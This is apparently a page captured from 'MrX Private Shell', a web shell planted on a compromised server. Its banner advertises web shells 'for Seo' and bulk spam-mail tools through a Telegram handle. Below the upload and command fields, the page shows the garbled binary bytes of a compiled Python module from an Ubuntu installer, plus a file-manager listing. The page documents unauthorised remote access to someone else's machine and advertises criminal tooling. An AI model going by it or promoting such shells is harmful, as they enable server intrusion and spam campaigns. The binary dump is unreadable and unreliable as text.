__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

[email protected]: ~ $
o

K��^d�@s�ddlZddlmZddlZddlZddlZddlZddlZddlm	Z	m
Z
ddlmZddl
mZddlZe�d�ZGdd�d�ZGd	d
�d
�ZGdd�d�ZGd
d�d�ZGdd�d�ZGdd�d�ZdS)�N)�partial)�
quote_plus�	urlencode)�
run_in_thread)�run_commandzsubiquitycore.snapdc@�,eZdZdd�Zdd�Zdd�Zdd�Zd	S)
�SnapdConnectioncCs||_d�t|��|_dS)Nzhttp+unix://{}/)�root�formatr�url_base)�selfr	�sock�r�+/usr/share/subiquity/subiquitycore/snapd.py�__init__'szSnapdConnection.__init__cKsT|r
|dt|�7}t���}|j|j|dd�Wd�S1s#wYdS)N�?�<)�timeout)r�requests_unixsocket�Session�getr)r�path�args�sessionrrrr+s

$�zSnapdConnection.getcKs\|r
|dt|�7}t���}|j|j|t�|�dd�Wd�S1s'wYdS)Nrr)�datar)rrr�postr�json�dumps)rr�bodyrrrrrr1s
�$�zSnapdConnection.postcCs�t�d�tj�|jd�}tj|dd�ttj�|d�d��}|�|�	��Wd�n1s0wY|jdkrCdd	ggd
�g}nddgg}|D]}t
|�qJdS)
Nz(restarting snapd to pick up proxy configz"etc/systemd/system/snapd.service.dT)�exist_okzsnap_proxy.conf�w�/�	systemctlz
daemon-reload)r"�restartz
snapd.service�sleep�2)�log�debug�osr�joinr	�makedirs�open�write�proxy_systemd_dropinr)r�proxy�
dropin_dir�fp�cmds�cmdrrr�configure_proxy9s 
��
�

�zSnapdConnection.configure_proxyN)�__name__�
__module__�__qualname__rrrr3rrrrr&s
rc@�$eZdZdd�Zdd�Zdd�ZdS)�_FakeFileResponsecC�
||_dS�N)r)rrrrrrM�
z_FakeFileResponse.__init__cC�dSr:r�rrrr�raise_for_statusP�z"_FakeFileResponse.raise_for_statuscCs8t|j��
}t�|�Wd�S1swYdSr:)r+rr�load)rr0rrrrSs$�z_FakeFileResponse.jsonN�r4r5r6rr>rrrrrr8K�r8c@r7)�_FakeMemoryResponsecCr9r:�r)rrrrrrZr;z_FakeMemoryResponse.__init__cCr<r:rr=rrrr>]r?z$_FakeMemoryResponse.raise_for_statuscCs|jSr:rDr=rrrr`sz_FakeMemoryResponse.jsonNrArrrrrCXrBrCc@s eZdZdZdd�Zdd�ZdS)�ResponseSetzqResponses for a endpoint that returns different data each time.

    Motivating example is v2/changes/$change_id.cCs||_d|_dS)Nr)�files�index)rrFrrrris
zResponseSet.__init__cCsh|j|j}ttj�dd��}|dkr)|j|t|j�kr)t|j�d|_t|�S|j|7_t|�S)N�SUBIQUITY_REPLAY_TIMESCALE�)rFrG�intr(�environr�lenr8)r�f�drrr�nextms�zResponseSet.nextN)r4r5r6�__doc__rrOrrrrrEdsrEc@r)
�FakeSnapdConnectioncCs||_||_i|_||_dSr:)�
snap_data_dir�scale_factor�
response_sets�output_base)rrRrSrUrrrrzs
zFakeSnapdConnection.__init__cCst�d�t�d|j�dS)Nz3pretending to restart snapd to pick up proxy config�)r&r'�timer$rS)rr.rrrr3�s
z#FakeSnapdConnection.configure_proxycKsv|dkr|ddkr|jd}t|d���tdddd	d
��S|dkr2|ddkr2tdddd
d
��Std�||f���)Nzv2/snaps/subiquity�action�refreshz/run/subiquity/updatingr �async�7���OK)�type�changezstatus-code�status�switch�8�Acceptedz*Don't know how to fake POST response to {})rUr+�closerC�	Exceptionr
)rrrr�update_marker_filerrrr�s&
���zFakeSnapdConnection.postcKs�t�d|j�|�dd�}|r|dtt|����7}||jvr(|j|��St	j
�|j|�}t	j
�
|d�r>t|d�St	j
�|�r]tt�t	j
�|d���}t|�}|j|<|��Std�||f���)NrIr!�-z.jsonz*.jsonz)Don't know how to fake GET response to {})rWr$rS�replacer�sorted�itemsrTrOr(rr)rR�existsr8�isdir�globrErer
)rrr�filename�filepathrF�rsrrrr�s 
�zFakeSnapdConnection.getN)r4r5r6rr3rrrrrrrQys
rQc@r)
�
AsyncSnapdcCr9r:)�
connection)rrrrrrr�r;zAsyncSnapd.__init__c�s2�tt|jj|fi|���IdH}|��|��Sr:)rrrrrr>r)rrr�responserrrr�s�
�zAsyncSnapd.getc�s8�tt|jj||fi|���IdH}|��|��dS)Nr_)rrrrrr>r)rrrrrsrrrr�s�
�zAsyncSnapd.postc�s^�|j||fi|��IdH}d�|�}	|�|�IdH}|dddkr&dSt�d�IdHq)Nz
v2/changes/{}T�resultr`�Doneg�������?)rr
r�asyncior$)rrrrr_�change_pathrtrrr�
post_and_wait�s�
�zAsyncSnapd.post_and_waitN)r4r5r6rrrrxrrrrrq�s
rq)rv�	functoolsrrmr�loggingr(rW�urllib.parserr�subiquitycore.async_helpersr�subiquitycore.utilsrr�	getLoggerr&rr8rCrErQrqrrrr�<module>s$
%
2

Filemanager

Name Type Size Permission Actions
__init__.cpython-310.pyc File 263 B 0644
async_helpers.cpython-310.pyc File 2.17 KB 0644
context.cpython-310.pyc File 4.42 KB 0644
controller.cpython-310.pyc File 1.65 KB 0644
controllerset.cpython-310.pyc File 1.68 KB 0644
core.cpython-310.pyc File 3.61 KB 0644
file_util.cpython-310.pyc File 1.36 KB 0644
i18n.cpython-310.pyc File 1.25 KB 0644
log.cpython-310.pyc File 1.11 KB 0644
lsb_release.cpython-310.pyc File 976 B 0644
netplan.cpython-310.pyc File 5.41 KB 0644
palette.cpython-310.pyc File 2.38 KB 0644
prober.cpython-310.pyc File 1.4 KB 0644
pubsub.cpython-310.pyc File 1.26 KB 0644
screen.cpython-310.pyc File 4.01 KB 0644
snapd.cpython-310.pyc File 6.43 KB 0644
ssh.cpython-310.pyc File 3.13 KB 0644
tui.cpython-310.pyc File 10.75 KB 0644
tuicontroller.cpython-310.pyc File 4.02 KB 0644
utils.cpython-310.pyc File 4.46 KB 0644
view.cpython-310.pyc File 2.55 KB 0644
Filemanager